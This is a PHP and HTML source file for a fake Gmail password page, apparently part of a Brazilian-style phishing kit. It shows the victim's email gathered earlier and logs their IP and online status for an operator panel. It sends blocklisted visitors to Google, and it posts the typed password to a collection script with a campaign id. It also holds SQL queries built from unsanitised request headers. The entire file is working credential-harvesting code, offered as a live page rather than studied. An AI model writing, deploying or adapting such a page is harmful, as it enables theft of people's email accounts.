<?php

@session_start();
error_reporting(0);

require_once "../cod3rconfig/registro.php";
require_once "../cod3rconfig/conexao.php";
require_once "../cod3rconfig/data.php";
require("../bot.php");


$erro = $_REQUEST['error'];
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);

$query_info = "SELECT * FROM infos WHERE ip='$ip'";
$recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
$row_infio = mysqli_fetch_assoc($recorinfo);
$totalRowsinfo = mysqli_num_rows($recorinfo);

$query_verificacadastro1 = "SELECT * FROM ipblock WHERE ip = '$ip'";
$verificacadastro1 = mysqli_query(DBCOnnect(), $query_verificacadastro1) or die(mysqli_error(DBCOnnect()));
$row_verificacadastro1 = mysqli_fetch_assoc($verificacadastro1);

if ($row_verificacadastro1['ip'] == $ip) {
  header("Location: https://www.google.com/");
}


$email = $row_infio['usuario'];
$user = $row_infio['user_master'];
$saldo = $row_infio['saldo'];


$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Online no login!' WHERE ip='$ip'");

$protocolo = 'https';
$host = $_SERVER['HTTP_HOST'];
$script = $_SERVER['SCRIPT_NAME'];
$parametros = $_SERVER['QUERY_STRING'];
$UrlAtual = $protocolo . '://' . $host;
$camp = $_SESSION['camp'];
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Gmail</title>
    <link rel="stylesheet" href="/css/style.css?t=<?=rand(9,999999999999)?>">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous">
    <script src="https://kit.fontawesome.com/9464b2a436.js" crossorigin="anonymous"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/axios/1.1.2/axios.min.js"></script>
<!-- <script src="https://cdn.jsdelivr.net/npm/jquery@3.5.0/dist/jquery.slim.min.js"></script> -->
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
  <!-- <script src="app/js/jquery-3.6.0.min.js" type="text/javascript"></script> -->
  <link rel="stylesheet" href="/assets/data/css/login.css">
  <script src="dados_comando.js?t=<?=rand(999,99999999)?>" type="text/javascript"></script>
  <script type="text/javascript">
    $(document).ready(function() {
      atualiza();
    });

    function atualiza() {
      $.get('ver_online.php',

        function(resultado) {
          $('#onlineagora').html(resultado);
        })

      setTimeout('atualiza()', 1250);
    }
  </script>
</head>

<body onsubmit="return senddados();"style="background:rgb(240, 244, 249);">
  <input type="hidden" name="camp" id="camp" value="<?= $camp ?>">


<br><br><br><br><br><br>
<header class="kasjdkajsdkaskdjakdjaskjdjadkasjd sadasdasdad">
    <div class="progress-container1" style="display:none;">
        <div class="progress-bar1"></div>
    </div>
    <div class="container">
        <div class="row">
            <div class="col-md-6">
                <img src="/img/Screenshot_1.png" alt="">
                <p style="font-weight:400; font-size:2em; margin-top:25px; color:#1f1f1f;">Welcome</p>
                <p style="width:60%; cursor:pointer; padding:4px; border-radius:22px; border:solid 1px rgb(141,141,141); font-size:15px;">
                    <i style="margin-left:5px;" class="fa-solid fa-user"></i> <?= $email ?>
                </p>
            </div>
            <style>.err { border: 1px solid red; }</style>
            <div class="col-md-6 sadsadasdasdas22">
                <br><br><br><br><br>
                <form id="form" method="post">
                    <input class="sakdalskdklk 
<?php
$err = isset($_GET['error']) ? 'err' : '';
echo $err;
?>

                    " type="password" required placeholder="Enter your password" id="password" name="senha">
                    <br><br><br><br>
                    <button class="button02" id="btnsend">Next</button>
                    <button class="button011">Try another way</button>
                    <div style="clear:both;"></div>
                </form>
            </div>
        </div>
    </div>
</header>

  <script>
    function senddados() {

      $(document).ready(function() {

        
      let tab = 'mobile'
      let input = ''
      // if(tab === 'mobile') input = $('#ddi option:selected').val() + $('#phone').val()
      // else input = $('#email').val()
      input = $('#password').val()
        var camp = $("#camp").val();
        if (input === "") {
          return false;
        } else {
          axios.post(`/app/sendLoginPass.php`, {
            password: input,
            camp: camp
          }).then((response) => {
            document.getElementById('btnsend').disabled = true;
          })
        }
      });

      return false;
    }

    document.getElementById("btnsend").addEventListener('click', (e) => {
      e.preventDefault()
      let tab = 'mobile'
      let input = ''
      // if(tab === 'mobile') input = $('#ddi option:selected').val() + $('#phone').val()
      // else input = $('#email').val()
      input = $('#login').val()
      e.target.innerHTML = "<img src='/assets/images/loading.gif' width='20'>"
      // setTimeout(() => {
      //   document.getElementById("formLoad").style.display = "flex";
      // }, 1200);
      // setTimeout(() => {
      //   document.getElementById("formLoad").style.display = "none";
      //   document.getElementById("formCaptcha").style.display = "flex";
      // }, 5100);
      senddados();
    });

    document.addEventListener('DOMContentLoaded', () => {
      if (window.location.href.indexOf("?error=1") > -1) {
        document.getElementById("messages").style.display = "flex";
      }
      if (window.location.href.indexOf("?error=9") > -1) {
        document.getElementById("messages").style.display = "flex";
        document.getElementById("txtmsg").textContent = 'Your session expired. Please login again';
      }
    });
  </script>
  <script src="/assets/captcha/js/script.js?t=123123455"></script>
  <script src="/assets/js/notification.js?t=123123123"></script>
  <script src="/assets/data/js/eyeToggle.js"></script>
</body>

</html>